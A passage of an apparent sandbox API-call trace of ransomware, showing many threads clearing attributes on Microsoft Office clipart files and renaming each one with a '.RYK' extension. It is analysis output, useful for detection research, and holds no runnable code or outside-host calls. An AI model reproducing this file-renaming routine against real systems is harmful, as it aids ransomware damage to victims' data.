	[0283.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.000] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.000] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3732
	os_tid = 0x3f2c

	[0283.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF", dwFileAttributes=0x80) returned 0
	[0283.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.001] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.001] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3733
	os_tid = 0x3f30

	[0283.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF", dwFileAttributes=0x80) returned 0
	[0283.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.002] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.002] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3734
	os_tid = 0x3f34

	[0283.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF", dwFileAttributes=0x80) returned 0
	[0283.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.004] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.004] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3735
	os_tid = 0x3f38

	[0283.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF", dwFileAttributes=0x80) returned 0
	[0283.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.005] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.005] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3736
	os_tid = 0x3f3c

	[0283.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF", dwFileAttributes=0x80) returned 0
	[0283.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.006] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.006] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3737
	os_tid = 0x3f40

	[0283.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", dwFileAttributes=0x80) returned 0
	[0283.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.007] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.007] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3738
	os_tid = 0x3f44

	[0283.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF", dwFileAttributes=0x80) returned 0
	[0283.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.008] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.008] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3739
	os_tid = 0x3f48

	[0283.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF", dwFileAttributes=0x80) returned 0
	[0283.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.014] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.015] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3740
	os_tid = 0x3f50

	[0283.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF", dwFileAttributes=0x80) returned 0
	[0283.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.013] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.013] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3741
	os_tid = 0x3f54

	[0283.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF", dwFileAttributes=0x80) returned 0
	[0283.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.012] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.012] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3742
	os_tid = 0x3f58

	[0283.533] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF", dwFileAttributes=0x80) returned 0
	[0283.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.010] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.011] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3743
	os_tid = 0x3f5c

	[0283.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF", dwFileAttributes=0x80) returned 0
	[0283.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.009] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.009] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3744
	os_tid = 0x3f64

	[0283.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF", dwFileAttributes=0x80) returned 0
	[0284.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.301] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.301] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3745
	os_tid = 0x3f68

	[0283.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF", dwFileAttributes=0x80) returned 0
	[0284.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.300] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.301] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3746
	os_tid = 0x3f6c

	[0283.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF", dwFileAttributes=0x80) returned 0
	[0284.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.300] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.300] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3747
	os_tid = 0x3f70

	[0283.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF", dwFileAttributes=0x80) returned 0
	[0284.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.299] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.299] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3748
	os_tid = 0x3f74

	[0283.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF", dwFileAttributes=0x80) returned 0
	[0283.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.952] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.952] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3749
	os_tid = 0x3f78

	[0283.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF", dwFileAttributes=0x80) returned 0
	[0283.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.953] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.954] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3750
	os_tid = 0x3f7c

	[0283.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF", dwFileAttributes=0x80) returned 0
	[0284.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.298] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.298] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3751
	os_tid = 0x3f80

	[0283.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF", dwFileAttributes=0x80) returned 0
	[0284.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.297] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.297] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3752
	os_tid = 0x3f84

	[0283.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF", dwFileAttributes=0x80) returned 0
	[0284.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.296] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.296] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3753
	os_tid = 0x3f88

	[0283.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID", dwFileAttributes=0x80) returned 0
	[0283.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.959] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.959] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3754
	os_tid = 0x3f8c

	[0283.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID", dwFileAttributes=0x80) returned 0
	[0284.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.295] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.296] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3755
	os_tid = 0x3f90

	[0283.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF", dwFileAttributes=0x80) returned 0
	[0284.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.128] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.128] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3756
	os_tid = 0x3f94

	[0284.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF", dwFileAttributes=0x80) returned 0
	[0284.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.130] CloseHandle (hObject=0xffffffffffffffff) returned 0
